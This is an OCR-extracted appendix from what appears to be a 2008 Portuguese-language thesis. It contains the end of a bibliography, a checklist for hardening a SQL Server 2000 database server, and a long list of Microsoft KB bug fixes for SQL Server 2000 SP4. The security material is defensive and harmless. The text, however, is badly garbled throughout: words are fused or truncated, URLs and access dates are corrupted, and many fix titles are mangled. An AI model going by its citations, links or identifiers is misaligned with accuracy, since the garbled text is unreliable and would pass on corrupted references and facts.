p_org_id=100&=US>, Acesso em 20 de Outubro de 2008.

WIKIPEDIA , SQL, disponivel em: <http://pt.wikipedia.org/WiRQL>, Acesso em 20 de
Outubro de 2008.



98

WIKIPEDIA , Modelo em Trés Camadas, disponivel em: <http:tiwikipedia.
org/wiki/Modelo__em_trés _camadas>, Acesso em 20utabro de 2008.

PRADO, Roberto, Integrar sistemas legados é preservarstinventos, 15/05/2007
disponivel em: <http://wnews.uol.com.br/site/colsin@ateria.php?id_secao=
9&id_conteudo=410>, Acesso em 25 de Outubro de 2008

PHP.NET, Frequently Asked Questions, disponivel em: <
http://br.php.net/manual/pt_BR/fag.general.php>%s0 em 25 de Outubro de 2008.

ALECRIM, Emerson, Tecnologia RAID, Publicado em 18/01/200Atualizado em
28/12/2006 disponivel em: <http://www.infowestentdmid.php>, Acesso em 10 de
Novembro de 2008.

LOBATO, André, Plano de contingéncia em tecnologia epatees, Folha de Sédo Paulo, Séo
Paulo, 21/07/2008, Informética.  Disponivel em  <ityww1.folha.uol.com.
br/folha/informatica/ ult124u424441.shtml>, Acesso 10 de Novembro de 2008

GUIMARAES, Ernane, Apagdo de internet revela os riscos terdependéncia, diz
especialista, Folha de Sé&o Paulo, Sdo Paulo, PO0F/ Informatica. Disponivel em <
http://www1.folha.uol.com.br/folha/informatica/ugdu422123.shtml>, Acesso em 10 de
Novembro de 2008

ULBRICH , Henrique CesarDELLA VALLE , James. Universidade Hacker. Sdo Paulo:
Digeratti, 2002, Cap 1

SANTA'’ANNA, Mauro, Tratando Usuarios como Psicopatas, MSDN [iagaNovembro
2003, Encarando o Desenvolvedor, p 10

ALECRIM, Emerson, Atagues DoS (Denial of Service) e DDoSstf(ibuted DoS),
Publicado em 09/10/2004, disponivel em: < http:Mnwfowester.com/col091004.php>,
Acesso em 20 de Novembro de 2008.

MICROSOFT, Protegendo seu Servidor de Banco de Dados, disgdorem: <
http://www.microsoft.com/brasil/security/guidan@gics/devsec/secmod91.mspx>,
publicado em 24 de Maio de 2004, Acesso em 15udel® de 2008.

MICROSOFT, Como: fortalecer a pilha do TCP/IP, disponivel :enx
http://mww.microsoft.com/brasil/security/guidanagliics/devsec/secmod109.mspx>,
publicado em 21 de Maio de 2004, Acesso em 15udel@o de 2008.



99

Anexo 1 — “Check list” de um servidor de banco deatlos seguro

Componente

Patches e atualizacdes

Servicos

Protocolos

Contas

Arquivos e diretorios

Caracteristicas

Os service packs e os pateti® recentes sédo aplicados ao Windows 20005640
Server

Servigos ndo essenciais sdo desativados.

O MSDTC é desativado se nao for usado.

O servigco MSSearch é desativado se nao for neg@ssar

O servico SQLServerAgent é desativado se nao foegsrio.

O servico MSSQLServerADHelper é desativado se oaodcessario.

Protocolos desnecessarios sao remowiddesativados.
Os seguintes protocolos ndo estdo ativados nadserWetBIOS e SMB.
A pilha do TCP/IP é reforcada.

A conta do servico do SQL Server esta protegidan@si@rivilegiada).

As contas do Windows desnecessarias sdo excluiddssativadas.

A contaConvidado do Windows esta desativada.

Uma nova conta de administrador é criada.

A diretiva de senha de alta seguranca esta aplicada

Os logons remotos séao restritos.

As sessoes nulas (logons andnimos) estéo desativada

E necessaria a aprovacio para a delegacéo de conta.

As contas compartilhadas ndo sdo usadas.

A participacao do grupo de Administradores loctnitada (o ideal €, no maximo,
dois membros).

A conta de administrador € limitada a logons irtteoa(ou é oferecida uma solugao de
administracdo remota segura).

A autenticacdo NTLMv2 esta ativada e aplicada (LM@atibilitylLevel esta definido
como 5).

Os volumes séo formatados odiTFS.
O grupoTodosnéo tem direitos aos diretdrios do sistema ou darfeentas. Diretdrios
de exemplo, de Ajuda e diretérios admin ndo utilcsasao removidos do servidor.
As permissdes séo protegidas na pasta de instalac&QL Server.
As senhas sdo removidas dos arquivos de log dddnédb do Service Pack 1 e Service
Pack 2.
Ferramentas, utilitarios e SDKs s&o removidos.
Aplicativos nao utilizados sédo removidos.
Arquivos de dados confidveis sao criptografadosypeio de EFS. (Isso é opcional para
arquivos de bancos de dados (.mdf), mas néo paguéavas de log (.Idf).)



Componente

Compartilhamentos

Portas

Registro

Auditoria e log

100

Caracteristicas

Compartilhamentos desnecessarios sao removidosrdd .

O acesso € restrito aos compartilhamentos necessari

Os compartilhamentos ndo estéo acessiveis pordediodos a menos que seja
necessario.

Os compartilhamentos de administragao (C$, Admsa®d)removidos se néo forem

necessarios.

Todas as portas, exceto a porta de esc@@d&erver [Padrao 1433], estdo
bloqueadas
As instancias nomeadas sdo configuradas para eseutaesma porta.
Uma porta do SQL Server ndo padrdo (ndo TCP 1448a&a como uma camada
adicional de defesa.
A opgéo Hide Server é usada como uma camada adicderdefesa (opcional).
O firewall é configurado para dar suporte ao trafeJ C (se necessario).
Um firewall € usado para separar usudrios da g@&/IP do SQL.

O grupoTodosé removido das chaves do Registro do SQL Server.
O SAM esté protegido (somente servidores autbnamos)

Falhas das tentativas de logon doddivs séo registradas.
Falhas de a¢Bes no sistema de arquivos sdo regisira
A auditoria de logon do SQL Server esta ativada.

Configuracbes do SQL Server

Seguranca do SQL Serveh configuragdo de autenticagdo para o SQL Sergengente para o Windows se

Logons, usuarios e
fungbes do SQL Server

Objetos de banco de
dados do SQL Server

possivel.
Nivel de auditoria do SQL Server definido como Badln Tudo.
A conta do servico de inicializacdo do SQL Servam& conta com menos privilégios.

A contasatem uma senha de alta seguranca.

As contagConvidado do SQL Server sdo removidas de bancos de dadasiqusiio

do sistema.

O grupo BUILTIN\Administradores é removido dos logalo SQL Server

.A funcao sysadmin ndo contém o grupo BUILTIN\Adisiradores

.Permissdes ndo sdo concedidas a funcéo publica

.A funcao sysadminndo contém mais de dois usuarios

.As permissdes do banco de dados (granular) esséto concedidas (funcdes internas,
nao granulares como db_datareader e db_datavatex\stadas)

Permissdes padréo para objetos do SQL Server naaitedadas.

Todos os bancos de dados s&o removidos do servidor
Os procedimentos armazenados estdo protegidos

Os procedimentos armazenados estendidos estagidoste
O cmdExec esté restrito somente a fungdo sysadmin.
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Anexo 2 — Lista de bugs corrigidos no SQL Server PO Service Pack 4

314128 FIX: Access violation occurs when an RPC cathade that includes a bit parameter
value that is not valid

317989 FIX: Sqglakw32.dll may corrupt SQL statements

319477 FIX: Extremely large number of user tables on AgyStem may cause BPool::Map
errors

328551 FIX: Concurrency enhancements for the tempdbbda

331885 FIX: Update/Delete statement fails with ErrorOB2luring page lock escalation
331965 FIX: The xp_readmail extended stored procedusxwnites attachment that already
exists

331968 FIX: The xp_readmail and xp_findnextmsg extensleded procedures do not read
mail in time received order

332004 FIX: SQL Server scalability may be limited if AWE enabled

891719 FIX: You receive a 17803 error message when yoarSORT or CREATE INDEX
operation on a computer that has several GB ofiphyRAM from SQL Server 2000
810026 FIX: A DELETE statement with a self-join may faihd you receive a 625 error
810052 FIX: A memory leak occurs when cursors are opahegthg a connection

810072 FIX: Merge replication reconciler stack overflow

810140 FIX: A cursor DECLARE statement with a binarydarobject (text/ntext/image)
parameter may cause an access violation

810163 FIX: An access violation occurs if an sp_cursempall references a parameter that
is not defined

810526 FIX: Cursors that have a long lifetime may caomsnory fragmentation

810688 FIX: Merge Agent can resend changes for filtggablications

810920 FIX: The JOIN queries in the triggers that inbhe inserted table or the deleted
table may return results that are not consistent

811052 FIX: Latch time-out message 845 occurs when yarfopm a database or file
SHRINK operation

811188 FIX: The merge replication agent stops respondihgn you perform merge
replication between a SQL Server database and aS&Qler CE database by using a custom
conflict resolver

811205 FIX: An error message occurs when you performatatthse or a file SHRINK
operation

811467 FIX: A Unicode LIKE predicate with binary collath may return incorrect results
811476 BUG: Rollback fails with errors 3314 and 900Yalu enlist multiple connections in
the same transaction

811611 FIX: Reinitialized SQL Server CE 2.0 subscriber@y experience data loss and non-
convergence

811703 FIX: Unexpected results from partial aggregatibased on conversions

812250 FIX: Indexed view may cause a handled accesatiool in
Cindex::SetLevellNames

812393 FIX: UPDATE or DELETE statement fails with errd203 during row lock
escalation

812798 FIX: A UNION ALL view may not use index if pariitns are removed at compile
time

812995 FIX: A query with an aggregate function may faith a 3628 error

813146 FIX: A scan of each patrtition table may be perfed when you run an UPDATE
statement on the partitioning column of a partéidview
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813412 FIX: xp_readmail returns NULL in the attachmealumn if the attachment's type is
Message Format

813494 FIX: Distribution Agent fails with "violation oprimary key constraint" error
message

813524 FIX: OLE DB conversion errors may occur after ygmlect a literal string that
represents datetime data as a column

813759 FIX: A large number of NULL values in join colummesult in slow query
performance

813769 FIX: You may experience slow performance when gebug a SQL Server service
813779 FIX: A DML operation on a large table can causg@mance problems

814032 FIX: Merge publications cannot synchronize on S&gdrver 2000 Service Pack 3
814035 FIX: A full-text population fails after you applyQL Server 2000 Service Pack 3
814113 FIX: DTS Designer may generate an access violafter you install SQL Server
2000 Service Pack 3

814460 FIX: Merge replication with alternate synchrortiaa partners may not succeed after
you change the retention period

814509 FIX: A parallel query with a COUNT aggregate ftion may return unexpected
results

814654 FIX: Error 1203 may be logged in the error logentyou disconnect from an
instance of SQL Server 2000 after you submit qgesieransactions

814665 FIX: SQL Server assertion: "nret == FALSE" occutsen you insert or update table
data in SQL Server 2000

814889 FIX: A DELETE statement with a JOIN might failégou receive a 625 error
814893 FIX: Error message: "Insufficient key column infeation for updating" occurs in
SQL Server 2000 SP3

814894 FIX: The xp_readmail stored procedure only sakedext of an embedded
attachment

814916 FIX: Merge Agent for a filtered publication migtatil

814919 FIX: No message appears when a blank passweet fer a system administrator
login in SQL Server Enterprise Manager

814950 FIX: A computer might transmit nonencrypted dategen clients use the
Multiprotocol Net-Library with the encryption opticenabled

814997 FIX: The header information may not be includdtew the query parameter has a
COMPUTE clause

815056 FIX: The checkpoint process can delay SQL Sete¢abase activity and does not
yield Scheduler correctly causing Error: 17883 ¢our

815057 FIX: SQL Server 2000 Uninstall option does nohowe all files

815114 FIX: Excessive Optimizer memory consumption megus for queries that have
multiple OUTER JOINS

815115 FIX: A DTS package that uses global variable®igs error message raised by
RAISERROR

815199 FIX: Profiler does not report CPU column value RIPC:Completed events correctly
815249 FIX: Performance of a query that is run fromiard program on a SQL Server SP3
database is slow after you restart the instan&if Server

815476 FIX: The spacing may not be correct when youxpinsendmail and the query
parameter contains a COMPUTE clause

815592 FIX: Incorrect remoting of a predicate as a SE#-ISCT function after SQL Server
2000 Service Pack 3 upgrade

815593 FIX: Incorrect cardinality estimates for NOT EXIS predicates after you upgrade to
SQL Server 2000 Service Pack 3
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816039 FIX: Code point comparison semantics for SQL_mhtiGeneral_Cp850_BIN
collation

816069 FIX: A query with a large IN clause can causectmrency issues

816084 FIX: sysindexes.statblob column may be corruptitel you run a DBCC
DBREINDEX statement

816440 FIX: Error 8623 is raised when SQL Server congdecomplex query

816503 FIX: Floating point exception (Error 3628) migtcur for queries that need merged
histograms

816780 FIX: Merge Agent failures with articles that hawdexed views defined

816834 FIX: Osqgl.exe may not run batches as fast ag @B C-based applications
816840 FIX: Error 17883 may display message text thaiscorrect

816883 FIX: SQL Server optimizer may underestimate thelmality of range queries
816937 FIX: A memory leak may occur when you use theGMethod stored procedure to
call a method of a COM object

816985 FIX: You cannot install SQL Server 2000 SP3 am klorean version of SQL Server
2000

817081 FIX: You receive an error message when you us&tpL-DMO BulkCopy object to
import data into a SQL Server table

817186 FIX: A query that performs join operations betweaultiple tables may return
incorrect results

817262 FIX: Complex query may not create an executi@mpl

817263 FIX: A SELECT statement against a view might reatirn qualifying rows

817359 FIX: An access violation may occur when you ranMSERT statement in an nText
column

817368 FIX: An INSERT or UPDATE that results in a pageitsmight fail with Error 818
817464 FIX: Using Sp_executesgl in Merge Agent operation

817709 FIX: SQL Server 2000 might produce an incorrecti;mality estimate for outer joins
817780 FIX: A complex query is not successful on a setlkiat has more than 2 GB of
memory

818079 FIX: SQL Profiler displays incorrect TextData walwhen you run a nested stored
procedure by using a Remote Procedure Call

818095 FIX: Cursor plans are not removed from the caghen virtual memory depleted
818096 FIX: Many extent lock time-outs may occur durggent allocation

818097 FIX: An access violation may occur when you ruB@C DBREINDEX on a table
that has hypothetical indexes

818188 FIX: Query on the sysmembers virtual table malywidh a stack overflow

818335 FIX: A query may run slowly if the query contaiasnulti-table join and one of the
joins is a view

818388 FIX: A Transact-SQL statement that is embeddatiendatabase name runs with
system administrator permissions

818414 FIX: The Sqgldumper.exe file does not generateeadump file when it runs against a
Windows service

818540 FIX: SQL Server Enterprise Manager quits unexgaigtwhen you modify a DTS
package

818729 FIX: Internal query processor Error 8623 when fdsoft SQL Server tries to
compile a plan for a complex query

818766 FIX: Intense SQL Server activity results in spop wait

818767 FIX: Improved CPU usage for database logging wihamsaction log stalls occur
818768 FIX: Cannot set SQL Server instance specific netvaffinity

818769 FIX: Trace flag -T8002 treats an affinity magkelia process affinity
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818772 FIX: Cannot set the network affinity for an insta of SQL Server 2000 Service
Pack 3

818806 FIX: Some Named Pipes features are not disalftedyou disable the Named Pipes
protocol

818897 FIX: Invalid TDS sent to SQL Server results imegs violation

818899 FIX: Error message 3628 may occur when you raomaplex query

819100 MDAC Cliconfg.* files are not upgraded after ymstall SQL Server 2000 SP3a
819248 FIX: An access violation exception may occur wlgen insert a row in a table that is
referenced by indexed views in SQL Server 2000

819662 FIX: Distribution Cleanup Agent incorrectly clesanp entries for anonymous
Subscribers

819829 FIX: When you run a program or a Web browsemsc¢hat uses the Command
object in the ADO programming interface to run aLS&grver stored procedure, you may
receive an "EXECUTE permission denied on objectrrdr message in SQL Server 2000
819955 FIX: Using xp_sendmail with a COMPUTE clause @suan access violation
820727 FIX: A long-running cursor fetch may lead to asertion failure when you try to
access a SQL Server 2000 database from an apgiicati

820835 FIX: SQL Server might take a long time to recoafter an abrupt or unexpected
server shutdown

820837 FIX: Allocation caching mechanisms enable faatkrcation of pages to objects
821280 MS03-031: Security patch for SQL Server 2000 &4-b

821334 FIX: Issues that are resolved in SQL Server 2@ 8.00.0859

821337 FIX: Localized versions of SQL Mail and the Webststant Wizard may not work
as expected in SQL Server 2000 64 bit

821535 FIX: Merge replication fails with Error 207 whiggenerating a snapshot

821537 FIX: A deadlock condition may occur when you penfi an UPDATE operation or a
DELETE operation against a remote OLE DB provige8QL Server 2000

821548 FIX: A parallel query may generate an accesstimh after you install SQL Server
2000 SP3

821688 FIX: A query filter condition that has a LEFT OBR JOIN clause may cause an
incorrect row count estimate in the query execugitam

821740 FIX: MS DTC transaction commit operation bloctself

821741 FIX: Lock monitor exception in DeadlockMonitoreRolveDeadlock

821806 FIX: SQL Server may generate an incorrect SQlpséor a table constraint when
you use the "Generate SQL Script" option in EniegpManager

822033 FIX: A parameterized UNION query inside a stopedcedure returns incorrect
results

822641 Additional diagnostics added to diagnose longamig or canceled database
autogrow operations in SQL Server

822668 FIX: "Connection is busy with results for anotikcemmand” error message occurs
when you run a linked server query

822746 FIX: Incorrect results from a parallel query thhaes a UNION and variables or
parameters

822747 FIX: Error 644 or 8646 may occur during a DELEGIHBJPDATE against a table
that contains a Unicode column with a Latinl_Gen&#N collation

822757 FIX: An Insert Select command with OPENXML an8@L_VARIANT type can
cause Error 2537 to occur

823429 FIX: You receive error message 7410 when youaudistributed query as a query
parameter for the xp_sendmail stored procedurkeosp makewebtask stored procedure in
SQL Server 2000
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823455 FIX: Visual Basic raises a syntax error when yrguto compile a file that was
created when you saved a DTS package

823514 FIX: Build 8.00.0837: A query that contains aretaited subquery runs slowly
823877 FIX: An access violation may occur when you ruuary that contains 32,000 or
more OR clauses

824018 FIX: Parallel query that uses an indexed bit oolunay return results that are not
correct

824027 FIX: A cursor with a large object parameter mayse an access violation on
CStmtCond:: XretExecute

824028 FIX: An OUTER or SEMI JOIN query that resultshash role reversal followed by a
spill may return incorrect results

824227 FIX: A SELECT statement that contains computddmoms and invalid filter
condition values may cause an access violation

824430 FIX: Performance decreases over time when yol badiles in SQL Server 2000
825019 FIX: A linked server query fails with the erroessage "Statement(s) could not be
prepared" in SQL Server 2000

825025 FIX: You cannot synchronize between a replicapablisher and a replication
republisher

825042 FIX: SQL Server jobs that are owned by non-sysadmsers may not start

825043 FIX: Rows are unexpectedly deleted when you rdistibuted query to delete or to
update a linked server table

825045 FIX: The Merge Agent takes a long time to dowdlo@w data when it runs on a
new anonymous subscription

825197 FIX: You receive error 3624 and the user datams®arked suspect after you
perform a bulk insert operation in SQL Server 2000

825225 FIX: You receive an error message when you rparallel query that uses an
aggregation function or the GROUP BY clause

825854 FIX: No exclusive locks may be taken if the DibdWsPagelLocks value is set to true
825883 FIX: The TextData column of the SP:StmtStartingré and the SP:StmtCompleted
event displays the dynamic Transact-SQL statemeant ehen the stored procedure is
encrypted

825884 FIX: The dynamic query statement appears in tlerygexecution plan of an
encrypted stored procedure

826080 FIX: SQL Server 2000 protocol encryption apptesdDBC clients

826161 FIX: You are prompted for password confirmatidteayou change a standard SQL
Server login

826364 FIX: A query with a LIKE comparison results iman-optimal query plan when you
use a Hungarian SQL Server collation

826376 FIX: An access violation may occur when you remalil elements from the
procedure cache for a linked server over an inp¢ediremote access connection

826433 PRB: Additional SQL Server diagnostics addeddtedt unreported I/O problems
826754 FIX: A deadlock occurs if you run an explicit URDE STATISTICS command
826815 FIX: You receive an 8623 error message in SQl&eawhen you try to run a query
that has multiple correlated subqueries

826822 FIX: A member of the db_accessadmin fixed datalake can create an alias for the
dbo special user

826860 FIX: Linked server query may return NULL if it performed through a keyset
cursor

827175 FIX: Incorrect parameter numbering occurs in easstored procedures that are
generated with the sp_scriptpublicationcustompsbesed procedure
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827178 FIX: You may receive a 644 error message whenryalwconcurrent transactions on
a heap

827714 FIX: A query may fail with retail assertion whgau use the NOLOCK hint or the
READ UNCOMMITTED isolation level

827954 FIX: Slow execution times may occur when you RML statements against tables
that have cascading referential integrity

828096 FIX: Key locks are held until the end of the staent for rows that do not pass filter
criteria

828269 FIX: A Transact-SQL query that uses views maluaexpectedly in SQL Server
2000 SP3

828308 FIX: An Internet Explorer script error occurs wihgou access metadata information
by using DTS in SQL Server Enterprise Manager

828637 FIX: Users can control the compensating changegss in merge replication
828699 FIX: An access violation occurs when you run DBCEDATEUSAGE on a
database that has many objects

828945 FIX: You cannot insert explicit values in an IDENY column of a SQL Server
table by using the SQLBulkOperations function @& 8QLSetPos ODBC function in SQL
Server 2000

829183 FIX: The xp_sendmail extended stored procedurens incorrect result set column
widths when data in one of the result set colunomtain DBCS characters in SQL Server
2000

829205 FIX: Query performance may be slow and may benststent when you run a query
while another query that contains an IN operatdhwany values is compiled

829386 FIX: You cannot install MSDE 2000 if the Servenace is not running

829444 FIX: A floating point exception occurs during tbptimization of a query

830262 FIX: Unconditional update may not hold key locksnew key values

830298 FIX: SQL Server 2000 SP3 may generate slowenygplans and bad cardinality
estimates

830366 FIX: An access violation occurs in SQL Server@hen a high volume of local
shared memory connections occur after you installisty update MS03-031

830375 FIX: The global variable @ @ERROR may return azomect value after a remote
procedure call

830382 FIX: Distributed queries may incorrectly use SQérver startup account permissions
when SQL Server is running in fiber mode

830395 FIX: An access violation occurs during compilatibthe table contains statistics for
a computed column

830466 FIX: You may receive an "Internal SQL Server €rgrror message when you run a
Transact-SQL SELECT statement on a view that hasyreabqueries in SQL Server 2000
830588 FIX: Access violation when you trace keyset-dniveirsors by using SQL Profiler
830596 FIX: You receive an error message when the xpniofp extended stored procedure
runs

830767 FIX: SQL Query Analyzer may stop responding wien close a query window or
open a file

830773 FIX: You receive an EXCEPTION_ACCESS_VIOLATIONer message when you
try to save a DTS package in SQL Server 2000

830860 FIX: The performance of a computer that is rugrd@QL Server 2000 degrades when
guery execution plans against temporary tablesiremahe procedure cache

830887 FIX: Some queries that have a left outer join andS NULL filter run slower after
you install SQL Server 2000 post-SP3 hotfix
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830912 FIX: Key names read from an .ini file for a DynarRroperties task may be
truncated

831302 FIX: SQL Server underestimates the cardinalitg guery expression and query
performance may be slow

831675 FIX: You may receive incorrect results when yan a query that contains a UNION
ALL operator, a TOP clause, and an ORDER BY clause

831950 FIX: You receive error message 3456 when youdrgpply a transaction log to a
server

831997 FIX: An invalid cursor state occurs after you ppotfix 8.00.0859 or later in SQL
Server 2000

831999 FIX: An AWE system uses more memory for sortindos hashing than a non-AWE
system in SQL Server 2000

832437 FIX: A CHECKDB statement reports corruption af8pL Server transfers
sql_variant data in SQL Server 2000

832977 FIX: The DBCC PSS command may cause accessiviataand 17805 errors in
SQL Server 2000

833045 FIX: The xp_sendmail extended stored procedues et run successfully in SQL
Server 2000 SP2 or later

833406 FIX: Cardinality estimates for literals that angtside the histogram range are very
low

833547 FIX: Restoring a SQL Server 7.0 database baak&QL Server 2000 Service Pack
3 (SP3) may cause an assertion error in the Xdes$lep

833710 FIX: You receive an error message when you tmggbtore a database backup that
spans multiple devices

834290 FIX: You receive a 644 error message when youarublPDATE statement and the
isolation level is set to READ UNCOMMITTED

834451 FIX: Restoring transaction log files takes lontie&an expected in SQL Server 2000
834453 FIX: The Snapshot Agent may fail after you makleesna changes to the underlying
tables of a publication

834688 FIX: You may receive a 913 error message if yquary includes user-defined
functions, derived tables, and JOINs

834720 Fix: An error in a remote procedure call doesmbitback the local operation
834798 FIX: SQL Server 2000 may not start if many ugeygo log in to SQL Server when
SQL Server is trying to start

834923 FIX: The SQL Server cluster resource may be nthdseFail when you try to take it
offline

835864 FIX: Intermittent query slowdowns and correspogdnigh CPU utilization

836096 FIX: You may receive a 625 error message whenryalwa query that has a query
plan that uses a nested loop join strategy

836136 FIX: The compile time for a query that uses asteone outer join may be greater for
SQL Server post-SP3 builds

836141 FIX: An access violation exception may occur wis€pL Server runs many parallel
guery processing operations on a multiprocessopaben

836839 FIX: Extended stored procedures in SQL Serveb2@@y take longer to run when
multiple users run the extended stored procedurég®aame time

837231 FIX: Distribution Agent may fail after you add drop a column for a published
article

837401 FIX: Rows are not successfully inserted intoldgavhen you use the BULK
INSERT command to insert rows
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837890 FIX: The CPU column in the sysprocesses systéie taontains a negative value or
an abnormal variation for some processes

837957 FIX: When you use Transact-SQL cursor variabbegarform operations that have
large iterations, memory leaks may occur in SQLv&e2000

837969 FIX: You may receive an access violation in tHeo@setTraceData::FGetNextRow
function when you trace server activity with SQlofler

837970 FIX: You may receive an "Invalid object name"agrmessage when you run the
DBCC CHECKCONSTRAINTS Transact-SQL statement oaldetin SQL Server 2000
838409 FIX: SQL Server 2000 Service Pack 1 (SP1) aret ladilds may not generate an
execution plan for a query, and you receive erressage 8623

838459 FIX: You may receive a BPool::Map warning whem yareate or rebuild indexes by
using the awe enabled configuration option

838460 FIX: The xp_logininfo procedure may fail with err8198 after you install Q825042
or any hotfix with SQL Server 8.00.0840 or later

839096 FIX: An access violation exception may occur wigen use PDH APIs to collect
performance data for several instances of SQL $atvhe same time

839280 FIX: SQL debugging does not work in Visual Stud\ET after you install Windows
XP Service Pack 2

839458 FIX: An access violation exception may occur wigen try to perform a Bulk
Import operation to insert data in a SQL Serveletab

839523 FIX: An access violation exception may occur wigen update a text column by
using a stored procedure in SQL Server 2000

839529 FIX: 8621 error conditions may cause SQL Sendfi0264-bit to close unexpectedly
839589 FIX: The thread priority is raised for some thigean a parallel query

839688 FIX: Profiler RPC events truncate parameters liaae a text data type to 16
characters

839884 FIX: A System.ExecutionEngineException excepteours when you try to access
the DTS DynamicPropertiesTaskAssignments collection

840166 FIX: The dynamic Snapshot Agent may fail when yse a dynamic snapshot for
merge publications in SQL Server 2000

840208 FIX: You receive a "Msg 8649" error message wian execute the DBCC
CHECKDB statement in SQL Server 2000 Service Pa(&R3)

840406 FIX: Queries that join a view may run slowly lifet view contains outer joins
840856 FIX: The MSSQLServer service exits unexpectedI$QL Server 2000 Service
Pack 3

841401 FIX: You may notice incorrect values for the "Aet Transactions” counter when
you perform multiple transactions on an instancB@L Server 2000 that is running on an
SMP computer

841404 FIX: You may receive a "The query processor cautiproduce a query plan” error
message in SQL Server when you run a query thatdas multiple subqueries that use self-
joins

841627 FIX: SQL Server 2000 may underestimate the caiiynof a query expression
under certain circumstances

841776 FIX: Additional diagnostics have been added td-S@rver 2000 to detect
unreported read operation failures

843263 FIX: You may receive an 8623 error message wioentsy to run a complex query
on an instance of SQL Server

843266 FIX: Shared page locks can be held until endhefttansaction and can cause
blocking or performance problems in SQL Server 2866vice Pack 3 (SP3)
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843267 FIX: Dynamic cursor retrieves the same row twoets when you update the non-
clustered index key to the same value

843282 FIX: The Osql.exe utility does not run a TransaGiL script completely if you start
the program from a remote session by using a baokgrservice and then log off the console
session

843534 FIX: You may receive a 3628 error in SQL Serv@d@ when you query many items
that have an IN clause

867798 FIX: The @date_received parameter of the xp_reddzmtended stored procedure
incorrectly returns the date and the time that-amaéd message is submitted by the sender in
SQL Server 2000

867878 FIX: The Log Reader Agent may cause 17883 eressages

867879 FIX: Merge replication non-convergence occurdW8QL Server CE subscribers
867880 FIX: Merge Agent may fail with an "Invalid chatac value for cast specification”
error message

870972 FIX: The performance of a DML operation that $i@trigger may decrease when the
trigger execution plan recompiles repeatedly

870994 FIX: An access violation exception may occur wigen run a query that uses index
names in the WITH INDEX option to specify an indert

872842 FIX: A CHECKDB statement reports a 2537 corruptesror after SQL Server
transfers data to a sql_variant column in SQL Se2060

872843 FIX: The Log Reader Agent may fail and you reeeaw assertion error message
873446 FIX: An access violation exception may occur whautiple users try to perform
data modification operations at the same timeftratriggers that reference a deleted or an
inserted table in SQL Server 2000 on a computershanning SMP

873482 FIX: The restore process may take longer to cetephhen SQL Server 2000
restores transaction log files as part of the log@ng process

875445 FIX: An access violation exception may occur wigen try to access SQL Server on
a computer that is running under low memory coodgi

878500 FIX: An Audit Object Permission event is not pueed when you run a

TRUNCATE TABLE statement

878501 FIX: You may receive an error message when yourGET IDENTITY_INSERT
ON statement on a table and then try to insertaaimto the table in SQL Server 2000
883415 FIX: A user-defined function returns results theg¢ not correct for a query

884554 FIX: A SPID stops responding with a NETWORKIO 8@0) waittype in SQL

Server Enterprise Manager when SQL Server triggdoess a fragmented TDS network
packet

884772 FIX: You may receive a 1203 error message whenpgrform a complex select
query in SQL Server 2000 build 856 or a later \@rsi

884850 FIX: When you run ad-hoc queries in Microsoft SQ&rver 2000, ad-hoc query
processing performance degradation may occur

884853 FIX: Performance is slow when you update a suibsdrtable on a subscriber that
uses queued updating in SQL Server 2000

884854 FIX: You receive the “Could not find stored prdoee” error message when you
perform transactional replication with queued upapin SQL Server 2000

884855 FIX: You receive an error message when you retaiement on a table that contains
a trigger in SQL Server 2000

884856 FIX: The non-clustered index is corrupted aften perform a self-update query in
SQL Server 2000

884864 FIX: You may receive incorrect results when yan a query in SQL Server 2000
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885158 FIX: Section names are truncated to a total len§254 characters when you use
Data Transformation Services to create a Dynanopétties task and you add an .ini file in
SQL Server 2000

885290 FIX: An assertion error occurs when you insetada the same row in a table by
using multiple connections to an instance of SQlv&e

885442 FIX: You receive a "Server: Msg 8624, Level 1&t8 1, Line 3 Internal SQL Server
error" error message when you compile a deleteygghet contains sub-queries that use NOT
IN clauses in SQL Server 2000

886708 FIX: Inserting lots of text, ntext, or image dataer multiple concurrent connections
takes a long time in SQL Server 2000

887974 FIX: A fetch on a dynamic cursor can cause unetgaeresults in SQL Server 2000
Service Pack 3

888008 FIX: Full-text queries that use the NEAR operaty return different results if the
NEAR operands are reversed in SQL Server 2000

888429 FIX: LIKE pattern matching may consider half-widind full-width characters to be
equal even if width-sensitive collation is spedfie

888444 FIX: You receive a 17883 error in SQL Server 2@a0vice Pack 3 or in SQL Server
2000 Service Pack 3a when a worker thread becotuelsis a registry call

888998 FIX: A query that joins two tables on smalldateti data type columns, may produce
incorrect results in SQL Server 2000

889166 FIX: You receive a "Msg 3628" error message Wy@m run an inner join query in
SQL Server 2000

889170 FIX: You receive a "Not enough storage is avaddb complete this operation” error
message when you run a Data Transformation Serpaesage in SQL Server 2000

889239 FIX: Start times in the SQL Profiler are diffetdar the Audit:Login and
Audit:Logout events in SQL Server 2000

889266 FIX: A database is marked suspect when you dpenlatabase in SQL Server 2000
889314 FIX: Non-convergence may occur in a merge repboaopology if the primary
connection to the publisher is disconnected

890200 FIX: SQL Server 2000 stops listening for new TiPR3ocket connections
unexpectedly after error message 17882 is writtehé SQL Server 2000 error log

890637 FIX: A 17883 error is written to the SQL Serv&0D error log and the LogWriter
component does not yield correctly

890730 FIX: You receive a 17883 error message when ytopm large in-memory sort
operations in SQL Server 2000

890755 FIX: A "Server: Msg 7105" error message is repdigtlogged in the error log,
assertions may be logged in the error log, andrgoaive a "Server: Msg 8929" error
message in SQL Server 2000

890767 FIX: You receive a "Server: Msg 107, Level 1&t8t3, Procedure
TEMP_VIEW_Merge, Line 1" error message when the siithe length of the published
column names in a merge publication exceeds 4,B8facters in SQL Server 2000

890768 FIX: You experience non-convergence in a replcatopology when you unpublish
or drop columns from a dynamically filtered pubtica in SQL Server 2000

890925 FIX: The @ @ERROR system function may return aoilrect value when you
execute a Transact-SQL statement that uses aglanadicution plan in SQL Server 2000 32-
bit or in SQL Server 2000 64-bit

890942 FIX: Some complex queries are slower after yatiath SQL Server 2000 Service
Pack 2 or SQL Server 2000 Service Pack 3

891017 FIX: SQL Server 2000 may stop responding to otbguests when you perform a
large deallocation operation
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891201 FIX: Performance is significantly reduced whem get trace flag 9134 to prevent
error message 601 in SQL Server 2000

891268 FIX: You receive a 17883 error message and SQie82000 may stop responding
to other requests when you perform large in-mensoryoperations

891707 FIX: A decrease in ad-hoc query processing mayiowhen you submit many ad-
hoc queries without using defined parameters in S@tver 2000

892406 FIX: The setting for the precision and the sadlthe data that is returned from a
stored procedure output parameter is (38,0) whaullasalue is returned in SQL Server 2000
892451 BUG: You receive an "EXCEPTION_ACCESS_VIOLATIONIror message when
you use a RIGHT OUTER JOIN clause in SQL Servei0200

892924 FIX: You receive a 7619 error message when youartull text query that contains
